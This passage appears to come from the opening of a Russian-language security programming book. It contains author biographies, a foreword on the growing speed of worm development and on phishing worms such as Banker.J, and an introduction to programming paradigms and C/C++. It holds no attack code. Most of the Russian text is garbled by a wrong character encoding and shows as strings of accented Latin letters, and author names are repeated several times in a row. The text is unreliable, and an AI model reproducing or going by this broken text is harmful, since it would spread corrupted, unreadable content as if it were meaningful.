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McAfee, ðàíåå ðàáîòàë â êîìïàíèÿõ, çàíèìàþùèõñÿ áåçîïàñíîñòüþ, â òîì
÷èñëå Foundstone, Guardent è Bindview. Îí ñïåöèàëèçèðóåòñÿ íà áåçîïàñíîñòè
è ïîèñêå óÿçâèìîñòåé â Windows, ïðîãðàììèðóåò íà àññåìáëåðå, C è äðóãèõ
ÿçûêàõ. Òîíè îáíàðóæèë íåñêîëüêî óÿçâèìîñòåé â ïðîãðàììàõ PGP, ISS
Scanner, Microsoft Windows XP è Winamp.

×åä Êåðòèñ×åä Êåðòèñ×åä Êåðòèñ×åä Êåðòèñ×åä Êåðòèñ (Chad CurtisChad CurtisChad CurtisChad CurtisChad Curtis) – íåçàâèñèìûé êîíñóëüòàíò, ïðîæèâàþùèé
â Þæíîé Êàëèôîðíèè. ×åä áûë íàó÷íûì ñîòðóäíèêîì â êîìïàíèè Found-
stone, ãäå âîçãëàâëÿë ãðóïïó ïî îáíàðóæåíèþ óãðîç. Îí îáëàäàåò áîëüøèì
îïûòîì â ñîçäàíèè ñåòåâîãî êîäà äëÿ ïëàòôîðìû Win32, íàïèñàíèè ñöåíàðè-
åâ, ýêñïëóàòèðóþùèõ èçâåñòíûå óÿçâèìîñòè è ðàçðàáîòêå èíòåðôåéñîâ.
Îäíî âðåìÿ ×åä ðàáîòàë ñåòåâûì àäìèíèñòðàòîðîì â ñåòè öåíòðîâ îáó÷åíèÿ
ðàáîòå ñ êîìïüþòåðàìè Computer America Training Centers.



Ðàññ ÌèëëåðÐàññ ÌèëëåðÐàññ ÌèëëåðÐàññ ÌèëëåðÐàññ Ìèëëåð (Russ MillerRuss MillerRuss MillerRuss MillerRuss Miller) ðàáîòàåò ñòàðøèì êîíñóëüòàíòîì â êîìïàíèè
Verisign, Inc. Îí âûïîëíèë àíàëèç ìíîãèõ Web-ïðèëîæåíèé è ïðîèçâåë òåñòè-
ðîâàíèå ñèñòåìû íà âîçìîæíîñòü âòîðæåíèÿ äëÿ íåñêîëüêèõ êîìïàíèè èç
ñïèñêà Fortune 100, â òîì ÷èñëå äëÿ êðóïíåéøèõ ôèíàíñîâûõ èíñòèòóòîâ.
Ðàññ ñïåöèàëèçèðóåòñÿ â îñíîâíîì íà èññëåäîâàíèÿõ â îáëàñòè áåçîïàñíîñòè
â öåëîì è ïðèêëàäíîãî óðîâíÿ â ÷àñòíîñòè, ïðîåêòèðîâàíèè ñåòåé, ñîöèàëü-
íîé èíæåíåðèè è â ðàçðàáîòêå áåçîïàñíûõ ïðîãðàìì íà òàêèõ ÿçûêàõ, êàê C,
Java è Lisp.

Áëåéê ÓîòòñÁëåéê ÓîòòñÁëåéê ÓîòòñÁëåéê ÓîòòñÁëåéê Óîòòñ (Blake WattsBlake WattsBlake WattsBlake WattsBlake Watts) ðàáîòàåò ñòàðøèì èíæåíåðîì â êîìïàíèè
McAfee Foundstone, à ðàíåå çàíèìàëñÿ èññëåäîâàíèÿìè â ðàçëè÷íûõ êîìïàíè-
ÿõ, â òîì ÷èñëå Bindview, Guardent (ïðèîáðåòåíà Verisign) è PenSafe (ïðèîáðå-
òåíà NetIQ). Îí ñïåöèàëèçèðóåòñÿ íà âíóòðåííåì óñòðîéñòâå è àíàëèçå óÿçâè-
ìîñòåé Windows è îïóáëèêîâàë ðÿä ðàáîò ïî âîïðîñàì áåçîïàñíîñòè â ýòîé
îïåðàöèîííîé ñèñòåìå.

Âèíñåíò ËþÂèíñåíò ËþÂèíñåíò ËþÂèíñåíò ËþÂèíñåíò Ëþ (Vincent LiuVincent LiuVincent LiuVincent LiuVincent Liu) – ñïåöèàëèñò ïî áåçîïàñíîñòè â îäíîé èç êîì-
ïàíèé, âõîäÿùèõ â ñïèñîê Fortune 100. Ðàíåå îí çàíèìàë äîëæíîñòü êîíñóëü-
òàíòà â öåíòðå îáåñïå÷åíèÿ áåçîïàñíîñòè êîìïàíèè Ernst & Young, à òàêæå
ðàáîòàë â Íàöèîíàëüíîì àãåíòñòâå ïî áåçîïàñíîñòè. Îí ñïåöèàëèçèðóåòñÿ íà
òåñòèðîâàíèè âîçìîæíîñòè âòîðæåíèÿ, àíàëèçå áåçîïàñíîñòè Web-ïðèëîæå-
íèé è ðàçðàáîòêå «ýêñïëîéòîâ». Âèíñåíò ïðèíèìàë ó÷àñòèå â èññëåäîâàíèÿõ
ïî áåçîïàñíîñòè, ôèíàíñèðóåìûõ àãåíòñòâîì DARPA, è âíåñ ñâîé âêëàä
â ïðîåêò Metasploit. Âèíñåíò ïîëó÷èë ó÷åíóþ ñòåïåíü ïî èíôîðìàòèêå è âû-
÷èñëèòåëüíîé òåõíèêå â óíèâåðñèòåòå øòàòà Ïåíñèëüâàíèÿ.
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Об авторе предисловия

Ñòþàðò Ìàêêëþð Ñòþàðò Ìàêêëþð Ñòþàðò Ìàêêëþð Ñòþàðò Ìàêêëþð Ñòþàðò Ìàêêëþð (Stuart McClureStuart McClureStuart McClureStuart McClureStuart McClure) – îáëàäàòåëü ñåðòèôèêàòîâ CISSP, CNE,
CCSE. Îí ðàáîòàåò ñòàðøèì âèöå-ïðåçèäåíòîì ïîäðàçäåëåíèÿ ïî ðàçðàáîòêå
ïðîãðàìì äëÿ óïðàâëåíèÿ ðèñêàìè â êîìïàíèè McAfee, Inc., ãäå îòâå÷àåò çà
âûðàáîòêó ñòðàòåãèè è ìàðêåòèíã äëÿ ñåìåéñòâà ïðîãðàììíûõ ïðîäóêòîâ
McAfee Foundstone ïî óïðàâëåíèþ è ñíèæåíèþ ðèñêîâ. Ýòè ïðîäóêòû ïîçâî-
ëÿþò êîìïàíèÿì åæåãîäíî ýêîíîìèòü ìèëëèîíû äîëëàðîâ è ÷åëîâåêî÷àñîâ
çà ñ÷åò ïðîòèâîñòîÿíèÿ õàêåðñêèì àòàêàì, âèðóñàì, ÷åðâÿì è ïðî÷èì çëîíà-
ìåðåííûì ïðîãðàììàì. Äî ýòîãî Ñòþàðò áûë îñíîâàòåëåì, ïðåçèäåíòîì è
ãëàâíûì òåõíîëîãîì â êîìïàíèè Foundstone, Inc., ïðèîáðåòåííîé McAfee
â îêòÿáðå 2004 ãîäà.

Ñòþàðò øèðîêî èçâåñòåí ñâîèìè îáøèðíûì è ãëóáîêèìè ïîçíàíèÿìè
â îáëàñòè èíôîðìàöèîííîé áåçîïàñíîñòè è ñ÷èòàåòñÿ îäíèì èç âåäóùèõ àâ-
òîðèòåòîâ â ýòîé ñôåðå. Îí ìíîãî ïóáëèêóåòñÿ è îáëàäàåò 15-ëåòíèì îïûòîì
òåõíè÷åñêîãî è àäìèíèñòðàòèâíîãî ðóêîâîäñòâà. Â Foundstone îí îñóùåñòâ-
ëÿë âûðàáîòêó ñòðàòåãèè ðàçâèòèÿ, à òàêæå íåñ îòâåòñòâåííîñòü çà âåñü öèêë
ðàçðàáîòêè, ïîääåðæêè è ðåàëèçàöèè. Îáëàäàÿ íåñîìíåííûìè ëèäåðñêèìè
êà÷åñòâàìè, Ñòþàðò äîáèëñÿ åæåãîäíîãî 100-ïðîöåíòíîãî ðîñòà äîõîäîâ
ñ ìîìåíòà îñíîâàíèÿ êîìïàíèè â 1999 ãîäó.

Äî ñîçäàíèÿ êîìïàíèè Foundstone Ñòþàðò çàíèìàë ðàçëè÷íûå ðóêîâîäÿùèå
äîëæíîñòè â èíäóñòðèè èíôîðìàöèîííûõ òåõíîëîãèé, â òîì ÷èñëå â ãðóïïå ìî-
íèòîðèíãà íàöèîíàëüíîé áåçîïàñíîñòè â êîìïàíèè Ernst & Young, äâà ãîäà
ïðîðàáîòàë àíàëèòèêîì ïðîìûøëåííîñòè â öåíòðå òåñòèðîâàíèÿ InfoWorld,
ïÿòü ëåò áûë äèðåêòîðîì ïî èíôîðìàöèîííûì òåõíîëîãèÿì â ïðàâèòåëü-
ñòâå øòàòà Êàëèôîðíèÿ, äâà ãîäà ÿâëÿëñÿ âëàäåëüöåì êîíñàëòèíãîâîé ôèðìû
â òîé æå îáëàñòè è äâà ãîäà ðàáîòàë â óíèâåðñèòåòå øòàòà Êîëîðàäî.

Ñòþàðò ïîëó÷èë ó÷åíóþ ñòåïåíü áàêàëàâðà ïñèõîëîãèè è ôèëîñîôèè ñ óïî-
ðîì íà ïðèëîæåíèÿ ê èíôîðìàòèêå â óíèâåðñèòåòå øòàòà Êîëîðàäî, Áîóëäåð.
Ïîçæå îí ïîëó÷èë ìíîãî÷èñëåííûå ñåðòèôèêàòû, â òîì ÷èñëå ISC2 CISSP,
Novell CNE è Check Point CCSE.



Предисловие

Наступит ли «судный день»?
Ñî âðåìåí ïîÿâëåíèÿ ïåðâûõ êîìïüþòåðîâ èíäóñòðèÿ áåçîïàñíîñòè ïðîøëà
íåìàëûé ïóòü. Âèðóñû, ÷åðâè è çëîíàìåðåííûå ïðîãðàììû òåõ äàâíî ìèíóâ-
øèõ äíåé íè÷òî ïî ñðàâíåíèþ ñ ñîâðåìåííûìè óãðîçàìè. È â ïðîöåññå ðàç-
âèòèÿ èíäóñòðèÿ îêàçàëàñü ó êðèòè÷åñêîé ÷åðòû. Ñòàíåò ëè ïîñòîÿííî ðàñòó-
ùàÿ ñëîæíîñòü (à íàì ïðèõîäèòñÿ âñå áîëüøå óñëîæíÿòü íàøè ñðåäñòâà)
óãðîçîé äëÿ ñîâðåìåííîãî îáùåñòâà, êóëüòóðû è ðûíêîâ?

Îáðàòèìñÿ ê ôàêòàì. Åñëè ñðàâíèòü, ñêîëüêî âðåìåíè òðåáîâàëîñü íà ïðå-
âðàùåíèå îáíàðóæåííîé óÿçâèìîñòè â ãîòîâîãî ÷åðâÿ â 1999 ãîäó è ñåãîäíÿ,
òî îêàæåòñÿ, ÷òî ñàìîðàñïðîñòðàíÿþùèéñÿ ÷åðâü òåïåðü èçãîòàâëèâàåòñÿ
â 20 ðàç áûñòðåå: çà ÷åòûðíàäöàòü äíåé â 2004 ãîäó ïðîòèâ 280 äíåé â 1999.
Òàêèõ ÷åðâåé ëåãêî ñîçäàòü, äëÿ ýòîãî íå íóæíî ïî÷òè íèêàêèõ çíàíèé,
à çàïóñêàþò èõ áåç âñÿêîãî çàçðåíèÿ ñîâåñòè. È, ñòàëî áûòü, áîëüøåå ÷èñëî
õàêåðîâ îðãàíèçóåò áîëüøåå ÷èñëî àòàê çà ìåíüøåå âðåìÿ.

Âïåðâûå ìû ïîçíàêîìèëèñü ñ ýòèìè íîâûìè, áîëåå èçîùðåííûìè èçäå-
ëèÿìè â êîíöå 90-õ ãîäîâ íà ïðèìåðå ÷åðâÿ «sadmind». Îí íà÷àë ñ àòàêè íà
ñëóæáó RPC â îïåðàöèîííîé ñèñòåìå Solaris, êîòîðàÿ íàçûâàëàñü sadmind.
Ñêîìïðîìåòèðîâàâ ñèñòåìó ïîä óïðàâëåíèåì Sun Solaris, ÷åðâü çàòåì ïåðå-
áðàëñÿ íà ìàøèíû ïîä óïðàâëåíèåì Windows, ïðåâðàòèâ è èõ â äîáû÷ó õàêå-
ðà. Ìû âèäåëè è ÷åðâåé, ñïîñîáíûõ îäíîâðåìåííî àòàêîâàòü ðàçëè÷íûå ñåð-
âèñû. Ñòàëêèâàëèñü ìû è ñ ÷åðâÿìè, ìåíÿþùèìè ñâîå îáëè÷üå, ÷òî äåëàëî
çàäà÷ó èõ îáíàðóæåíèÿ è çàùèòû îò íèõ íåèìîâåðíî òðóäíîé. Èìåííî òà-
êèå ñìåøàííûå óãðîçû îæèäàþò íàñ â áóäóùåì, íî íå â âèäå îòäåëüíûõ ÷åð-
âåé. Çàâòðàøíèå ÷åðâè áóäóò ñî÷åòàòü â ñåáå âñå âûøåïåðå÷èñëåííûå îñî-
áåííîñòè (ìíîãîïëàòôîðìåííîñòü, ïîëèôîðìíîñòü è ìíîãîâåêòîðíîñòü) â
ñòðåìëåíèè ñîçäàòü «÷åðâÿ ñóäíîãî äíÿ», îò êîòîðîãî íå áóäåò çàùèòû.

À êàêîãî ðîäà âðåä ìîãóò íàíåñòè òàêèå ÷åðâè? Îíè ìîãóò âîçäåéñòâîâàòü
íà âñå, ÷òî óãîäíî. Çíà÷èòåëüíàÿ äîëÿ íàøèõ ðûíêîâ, èíôðàñòðóêòóðû è áàí-
êîâ êîìïüþòåðèçîâàíà è ñâÿçàíà â åäèíóþ ñåòü. Ïîäóìàéòå, ÷òî ñëó÷èòñÿ,
åñëè âû íå ñìîæåòå â òå÷åíèå ìåñÿöà äîáðàòüñÿ äî ñâîèõ äåíåã â áàíêå èëè
áðîêåðñêîé êîíòîðå? Èëè, ïåðåñåêàÿ æåëåçíîäîðîæíûé ïóòü èëè ïåðåêðåñòîê,
íå áóäåòå óâåðåíû, ÷òî âîäèòåëè ìàøèí, ïîäúåçæàþùèõ ñ äðóãîé ñòîðîíû,
âèäÿò íå òîò æå ñâåò, ÷òî è âû. Ïîëàãàåòå, òàêîå áûâàåò òîëüêî â ôàíòàñòè-
÷åñêèõ ðîìàíàõ? Íå áóäüòå òàê óâåðåíû.

Âîçüìåì, ê ïðèìåðó, íåäàâíåãî ÷åðâÿ Banker.J. Âî âðåìÿ èñïîëíåíèÿ îí
çàðàæàåò ñèñòåìó ïðèìåðíî òàê æå, êàê è îïèñàííûå âûøå ÷åðâè, íî ñ îä-



íèì ñóùåñòâåííûì îòëè÷èåì: ýòî ïåðâûé èç ñåðèè ÷åðâåé, â êîòîðûõ ïðèìå-
íåíà òåõíèêà ïîäëîãà (phishing). Ïðè òàêîé àòàêå õàêåð ïûòàåòñÿ ïîõèòèòü
ó÷åòíîå èìÿ è ïàðîëü ê áàíêîâñêîìó ñ÷åòó, ïåðåàäðåñóÿ âàñ íà Web-ñàéò, ñî-
çäàííûé àòàêóþùèì. À çàòåì îí âîñïîëüçóåòñÿ ïîëó÷åííûìè äàííûìè, ÷òî-
áû çàéòè â áàíê îò âàøåãî èìåíè è âûïèñàòü ñåáå ñàìîìó ÷åê. Îäíàêî ÷åðâü
íå ïåðåàäðåñóåò ïîëüçîâàòåëÿ íà äðóãîé ñàéò, à ïðîñòî âûâîäèò èäåíòè÷íóþ
Web-ñòðàíèöó íà çàðàæåííîé ñèñòåìå, çàñòàâëÿÿ åãî ïîâåðèòü, áóäòî îí ïî-
ïàë íà ñàéò ñâîåãî áàíêà.

Òàê êòî æå ýòè ëþäè è ïî÷åìó îíè çàíèìàþòñÿ òàêèìè âåùàìè? Ìíîãèå
èç íèõ íå ñëèøêîì óìíû, èìè äâèæåò æåëàíèå ïîòåøèòü ñâîå ß è èñïûòàòü
÷óâñòâî ïðåâîñõîäñòâà. Äðóãèõ ïðèâëåêàþò äåíüãè, îíè âîâëå÷åíû â îðãàíè-
çîâàííóþ ïðåñòóïíîñòü. Íî êàêèå áû ïðè÷èíû íè ñòîÿëè çà àòàêîé ïóòåì
ïîäëîãà, âû äîëæíû ïîíèìàòü ñóòü ïðîáëåìû è áûòü ãîòîâûì ê âñòðå÷å
ñ íåé. Óÿçâèìûå ìåñòà åñòü â ëþáîì ïðîäóêòå èëè ïðîöåññå è, åñëè íå îáðà-
ùàòü íà íèõ âíèìàíèå è ìèíèìèçèðîâàòü âîçìîæíûé óùåðá, òî õàêåðû áó-
äóò ýêñïëóàòèðîâàòü èõ áåñêîíå÷íî. Íå ñóùåñòâóåò íè ñåðåáðÿíîé ïóëè, íè
âîëøåáíîãî ïîðîøêà, êîòîðûé èçáàâèë áû âàñ îò ïðîáëåìû. Íåò êàêîãî-òî
îäíîãî ïðîäóêòà, óñëóãè èëè ó÷åáíîãî êóðñà, êîòîðûé äàñò âàì âñå èíñòðó-
ìåíòû, íåîáõîäèìûå äëÿ ïðîòèâîñòîÿíèÿ óãðîçå.

Êàê ñîëäàòó íà ïîëå áîÿ, âàì ïðèãîäèòñÿ âñå, äî ÷åãî âû ìîæåòå äîáðàòü-
ñÿ. Ñ÷èòàéòå ýòó êíèãó ñâîåé àìóíèöèåé, åå äîëæåí ïðî÷èòàòü âñÿêèé ñîëäàò
âîéñê áåçîïàñíîñòè, íå æåëàþùèé ñòàòü î÷åðåäíîé æåðòâîé. Ïðî÷òèòå åå
ñòðàíèöó çà ñòðàíèöåé, óñâîéòå ìàòåðèàë è âîñïîëüçóéòåñü ïîëó÷åííûìè çíà-
íèÿìè ñåáå âî áëàãî. Íå äàéòå ýòîé çàìå÷àòåëüíîé ðàáîòå ïðîñêîëüçíóòü
ìåæ âàøèìè «àêàäåìè÷åñêèìè ïàëüöàìè».

Áåçîïàñíîé ðàáîòû âàì.
Ñòþàðò Ìàêêëþð

Ñòàðøèé âèöå-ïðåçèäåíò ïîäðàçäåëåíèÿ
ïî ðàçðàáîòêå ïðîãðàìì äëÿ óïðàâëåíèÿ ðèñêàìè

McAfee, Inc.
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Введение
Èñòîðèÿ ÿçûêîâ ïðîãðàììèðîâàíèÿ êîðîòêà, íî äèíàìè÷íà. Åùå íå òàê
äàâíî ïåðåäîâûì ñ÷èòàëñÿ ÿçûê àññåìáëåðà. Íî ñ òåõ ïîð ïðîãðàììèðîâà-
íèå ïðîøëî äëèííûé ïóòü, íà êîòîðîì îáîãàòèëîñü íîâûìè èäåÿìè è òåõíî-
ëîãèÿìè: îò îáúåêòîâ äî èíñòðóìåíòîâ âèçóàëüíîãî ïðîãðàììèðîâàíèÿ. Ñå-
ãîäíÿ ñóùåñòâóåò òðè îñíîâíûõ ïàðàäèãìû ïðîãðàììèðîâàíèÿ: ïðîöåäóðíàÿ
(íàïðèìåð, C è Pascal), ôóíêöèîíàëüíàÿ (Lisp è ML) è îáúåêòíî-îðèåíòèðî-
âàííàÿ (Java, C++ è Smalltalk). Ëîãè÷åñêîå èëè äåêëàðàòèâíîå ïðîãðàììèðî-
âàíèå (íàïðèìåð, Prolog) îñòàåòñÿ óäåëîì àêàäåìè÷åñêèõ èññëåäîâàíèé.

Êàæäàÿ ïàðàäèãìà çíàìåíóåò ñîáñòâåííûé ïîäõîä ê ðåøåíèþ çàäà÷. Ïðî-
öåäóðíóþ ïðîãðàììó ìîæíî ðàññìàòðèâàòü êàê ïîñëåäîâàòåëüíîñòü èíñò-
ðóêöèé, êîòîðûå íà êàæäîì øàãå ìîäèôèôèöèðóþò äàííûå, ðàçìåùåííûå
â îïðåäåëåííûõ ÿ÷åéêàõ ïàìÿòè. Òàêèå ïðîãðàììû ñîäåðæàò êîíñòðóêöèè
äëÿ ïîâòîðåíèÿ, íàïðèìåð, öèêëû è ïðîöåäóðû. Ôóíêöèîíàëüíóþ ïðîãðàììó
ìîæíî ïðåäñòàâëÿòü ñåáå êàê íàáîð ôóíêöèé íàä çàäàííûìè èñõîäíûìè
äàííûìè. Â èñòèííî ôóíêöèîíàëüíûõ ïðîãðàììàõ íåò ïðèñâàèâàíèé ïåðå-
ìåííûì; äëÿ ïîëó÷åíèÿ òðåáóåìîãî ðåçóëüòàòà äîñòàòî÷íî îäíèõ ëèøü ñïèñ-
êîâ è ôóíêöèé. Îáúåêòíî-îðèåíòèðîâàííûå ïðîãðàììû îðãàíèçîâàíû
â êëàññû. Ýêçåìïëÿðû êëàññîâ, èìåíóåìûå îáúåêòàìè, ñîäåðæàò äàííûå è ìå-
òîäû, âûïîëíÿþùèå òå èëè èíûå äåéñòâèÿ íàä ýòèìè äàííûìè. Îáúåêòû
âçàèìîäåéñòâóþò, ïîñûëàÿ äðóã äðóãó ñîîáùåíèÿ, â êîòîðûõ ñîäåðæàòñÿ çà-
ïðîñû íà âûïîëíåíèå îïðåäåëåííûõ äåéñòâèé.

Ïîíèìàòü îñîáåííîñòè ÿçûêîâ ïðîãðàììèðîâàíèÿ íåîáõîäèìî êàê ïðè-
êëàäíûì ïðîãðàììèñòàì, òàê è ñïåöèàëèñòàì ïî áåçîïàñíîñòè, çàíÿòûì
òåñòèðîâàíèåì ïðèëîæåíèé. Ó êàæäîãî ÿçûêà åñòü ñïåöèôè÷åñêèå õàðàêòå-
ðèñòèêè, êîòîðûå íóæíî ó÷èòûâàòü ïðè ïîïûòêå âçëîìà ïðîãðàììû. Íà-
ïðèìåð, ïðîãðàììèñòû, ïðèâûêøèå ïèñàòü «ýêñïëîéòû», îñíîâàííûå íà ïå-
ðåïîëíåíèè áóôåðà â ïðîãðàììàõ íà ÿçûêå C, ìîãóò âïàñòü â ðàñòåðÿííîñòü,
êîãäà äëÿ àóäèòà áóäåò ïðåäñòàâëåíî ïðèëîæåíèå, íàïèñàííîå íà Java. Ïðî÷è-
òàâ ýòó ãëàâó, âû ïîëó÷èòå îáùåå ïðåäñòàâëåíèå î òàêîãî ðîäà àñïåêòàõ áåçî-
ïàñíîñòè, ñâÿçàííûõ ñ íèìè ðèñêàõ è î òîì, êàêèå äåôåêòû âîçìîæíû â ïðî-
ãðàììàõ íà ÿçûêàõ C, C++, Java è C#.

Íà çàðå ðàñïðîñòðàíåíèÿ îïåðàöèîííîé ñèñòåìû UNIX â êîíöå 60-õ è
â 70-õ ãîäàõ íà àâàíñöåíó âûøëè èíòåðïðåòèðóåìûå ÿçûêè, ïðèçâàííûå ñî-
êðàòèòü âðåìÿ ðàçðàáîòêè íåáîëüøèõ çàäà÷. Îíè ïîçâîëÿëè ýíòóçèàñòàì ïðî-
ãðàììèðîâàíèÿ ñîçäàâàòü ñöåíàðèè, òî åñòü íàáîðû èíòåðïðåòèðóåìûõ
èíñòðóêöèé, êîòîðûå êîìïüþòåð ìîã âûïîëíèòü. Òàêèå óòîìèòåëüíûå ïðî-
áëåìû êàê óïðàâëåíèå ïàìÿòüþ è ðàáîòà ñ íèçêîóðîâíåâûìè ñèñòåìíûìè
êîìàíäàìè, òåïåðü âûïîëíÿëèñü «çà êóëèñàìè», ÷òî ïîçâîëèëî ñíèçèòü ñëîæ-
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íîñòü è îáúåì êîäà, íåîáõîäèìîãî äëÿ ðåøåíèÿ êîíêðåòíîé çàäà÷è. Áåçóñ-
ëîâíî, ÿçûêè ñöåíàðèåâ ñòàëè ìå÷òîé ëåíèâîãî ïðîãðàììèñòà.

Ïî÷èòàåìûì ïðåäêîì âñåõ èíòåðïðåòèðóåìûõ ÿçûêîâ ÿâëÿåòñÿ ÿçûê
óïðàâëåíèÿ çàäàíèÿìè (JCL – job control language). Â ñèñòåìå OS/360 ýòîò
ÿçûê èñïîëüçîâàëñÿ äëÿ îðãàíèçàöèè äàííûõ, ïîñòóïàþùèõ ñ ïåðôîêàðò,
â ïðèãîäíûå äëÿ ðàáîòû íàáîðû ñèìâîëîâ. Åñëè ïðèíÿòü âî âíèìàíèå âîç-
ìîæíîñòè ÿçûêà è åãî ïðèìèòèâíóþ ïðèðîäó, òî íàêëàäíûå ðàñõîäû áûëè
ïðîñòî ãèãàíòñêèìè. Ïåðâûì ïîëó÷èâøèì øèðîêîå ðàñïðîñòðàíåíèå ÿçû-
êîì ñöåíàðèåâ ñòàë ÿçûê èíòåðïðåòàòîðà êîìàíä sh â ñèñòåìå UNIX. Ïåðâîíà-
÷àëüíî îí ïðåäíàçíà÷àëñÿ äëÿ àäìèíèñòðàòîðîâ è ïîçâîëÿë áûñòðî ñîçäà-
âàòü ñöåíàðèè äëÿ óïðàâëåíèÿ ñåòüþ è ñèñòåìîé â öåëîì.

Ïî ìåðå òîãî êàê ïðîèçâîäèòåëüíîñòü è ôóíêöèîíàëüíîñòü ïëàòôîðìû
ðîñëà áåçóìíûìè òåìïàìè, ÷èñëî èíòåðïðåòèðóåìûõ ÿçûêîâ ïðåâûñèëî
÷èñëî ïîëíîìàñøòàáíûõ êîìïèëèðóåìûõ ÿçûêîâ ïðîãðàììèðîâàíèÿ. Ñöå-
íàðèè ïðåâðàòèëèñü â âåñüìà ðàçâèòóþ òåõíîëîãèþ, ñâèäåòåëüñòâîì ÷åìó ìî-
ãóò ñëóæèòü øèðîêèå âîçìîæíîñòè, çàëîæåííûå â òàêèå ÿçûêè, êàê PHP, Py-
thon, Perl è Javascri pt. Ñîâðåìåííûå  ÿçûêè ñöåíàðèåâ óæå  ñîäåðæàò îáúåêò-
íî-îðèåíòèðîâàííûå ñðåäñòâà, ñîçäàíèå êëàññîâ, óïðàâëåíèå ïàìÿòüþ,
ñîçäàíèå ñîêåòîâ, ðåêóðñèþ, äèíàìè÷åñêèå ìàññèâû è ðåãóëÿðíûå âûðàæå-
íèÿ. Åñòü äàæå èíòåðïðåòèðóåìûå ÿçûêè, ïîçâîëÿþùèå ðàçðàáàòûâàòü
ãðàôè÷åñêèå èíòåðôåéñû, íàïðèìåð, ïîïóëÿðíûé ÿçûê TCL/Tk.

Â ýòîé ãëàâå âû ïîçíàêîìèòåñü êàê ñ óíèêàëüíûìè, òàê è ñ îáùèìè äëÿ
ðàçíûõ ÿçûêîâ ñðåäñòâàìè è óçíàåòå î íåêîòîðûõ ïðèåìàõ, ïðèìåíÿåìûõ
ïðîôåññèîíàëàìè.

C/C++
ßçûê ïðîãðàììèðîâàíèÿ C ñîçäàë Äåííèñ Ðè÷è èç êîìïàíèè Bell Labs â 1972 ãî-
äó. Ñ òåõ ïîð C ñòàë îäíèì èç îñíîâíûõ ÿçûêîâ ïðîôåññèîíàëüíûõ ïðîãðàììè-
ñòîâ è ãëàâíûì ÿçûêîì â îïåðàöèîííîé ñèñòåìå UNIX. Â 1980 ãîäó Áüÿðí Ñòðà-
óñòðóï èç òîé æå êîìïàíèè Bell Labs ïðèñòóïèë ê âêëþ÷åíèþ â C îáúåêòíî-
îðèåíòèðîâàííûõ ìåõàíèçìîâ, â ÷àñòíîñòè, èíêàïñóëÿöèè è íàñëåäîâàíèÿ.
Òàê â 1983 ãîäó ïîÿâèëñÿ ÿçûê «C with Classes», êîòîðûé ïîçäíåå ïîëó÷èë íà-
çâàíèå C++. Èìåÿ ñõîæèé ñ C ñèíòàêñèñ è îáëàäàÿ ïðåèìóùåñòâàìè îáúåêòíîé
îðèåíòèðîâàííîñòè, ÿçûê C++ áûñòðî ïðèîáðåë øèðîêóþ ïîïóëÿðíîñòü.

ßçûêè C è C++ òàê øèðîêî ðàñïðîñòðàíåíû áëàãîäàðÿ ñâîåé âûðàçèòåëü-
íîé ìîùè, à òàêæå ïîòîìó, ÷òî èìåííî èõ ïðåäïî÷èòàþò ïðåïîäàâàòü â óíè-
âåðñèòåòàõ. Õîòÿ íîâûå ÿçûêè, ê ïðèìåðó, C# è Java, ïîñòåïåííî íàáèðàþò
ïîïóëÿðíîñòü, íî ïðîãðàììèñòû, óìåþùèå ïèñàòü íà C è C++, áóäóò âîñòðå-
áîâàíû åùå ìíîãî ëåò.

С/С++
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Характеристики языка

Ïîñêîëüêó âûñîêîóðîâíåâûå ÿçûêè C è C++ ÿâëÿþòñÿ êîìïèëèðóåìûìè, òî
íàïèñàííûé íà íèõ òåêñò íå ïîíÿòåí ïðîöåññîðó. Ñïåöèàëüíàÿ ïðîãðàììà-
êîìïèëÿòîð òðàíñëèðóåò ýòîò òåêñò â ìàøèííûé êîä, êîòîðûé ïðîöåññîð ìî-
æåò èñïîëíèòü. Â îòëè÷èå îò èíòåðïðåòèðóåìûõ ÿçûêîâ, ê ÷èñëó êîòîðûõ
îòíîñèòñÿ Java, íå ñóùåñòâóåò íèêàêîãî áàéò-êîäà èëè ïðîìåæóòî÷íîãî ÿçû-
êà. Ïðîãðàììû, íàïèñàííûå íà C èëè C++, òðàíñëèðóþòñÿ íåïîñðåäñòâåííî
â êîìàíäû, äîñòóïíûå ïðîöåññîðó. Ó òàêîãî ïîäõîäà åñòü íåäîñòàòîê – çàâè-
ñèìîñòü îò ïëàòôîðìû. Êîä äîëæåí áûòü ñêîìïèëèðîâàí èìåííî äëÿ òîé ñè-
ñòåìû, íà êîòîðîé áóäåò èñïîëíÿòüñÿ.

ßçûê Cßçûê Cßçûê Cßçûê Cßçûê C
ßçûê C çíàìåíèò ñâîåé óíèâåðñàëüíîñòüþ, ñî÷åòàåìîé ñ ïðîñòîòîé. ×èñëî
çàðåçåðâèðîâàííûõ ñëîâ â íåì íåâåëèêî, íî ôóíêöèîíàëüíîñòü òåì íå ìåíåå
âåñüìà âûñîêà. Íåáîëüøîå ÷èñëî çàðåçåðâèðîâàííûõ ñëîâ íå ìåøàåò ïðî-
ãðàììèñòó âûðàçèòü òî, ÷òî îí õî÷åò. Ê óñëóãàì ïðîãðàììèñòîâ íà C èìåþòñÿ
ðàçíîîáðàçíûå îïåðàòîðû è âîçìîæíîñòü ñîçäàâàòü ñîáñòâåííûå òèïû äàí-
íûõ. Ïðîñòîòà ÿçûêà ïîçâîëÿåò íàó÷èòüñÿ åãî îñíîâàì ëåãêî è áûñòðî.

Ìîùü ÿçûêà C ïðîèñõîäèò îò îòñóòñòâèÿ â íåì îãðàíè÷åíèé; ïðîãðàììèñò
ìîæåò ïîëó÷àòü äîñòóï ê äàííûì è ìàíèïóëèðîâàòü èìè íà óðîâíå áèòîâ.
Øèðîêî ðàñïðîñòðàíåíî òàêæå èñïîëüçîâàíèå óêàçàòåëåé, òî åñòü ïðÿìûõ
ññûëîê íà ÿ÷åéêè ïàìÿòè. Â áîëåå ïîçäíèõ ÿçûêàõ, íàïðèìåð, â Java ýòà âîç-
ìîæíîñòü óäàëåíà. C – ýòî ïðîöåäóðíûé ÿçûê. Íàïèñàííàÿ íà íåì ïðîãðàììà
ñîñòîèò èç ôóíêöèé, ïðåäñòàâëÿþùèõ ñîáîé àâòîíîìíûå êîíñòðóêöèè äëÿ
ðåøåíèÿ îòäåëüíûõ çàäà÷. Ìîäóëüíîñòü ïîçâîëÿåò èñïîëüçîâàòü êîä ïîâòîð-
íî. Ãðóïïû ôóíêöèé ìîæíî îáúåäèíèòü â áèáëèîòåêè, äîïóñêàþùèå èì-
ïîðò â äðóãèå ïðîãðàììû, ÷òî çàìåòíî ñîêðàùàåò âðåìÿ ðàçðàáîòêè.

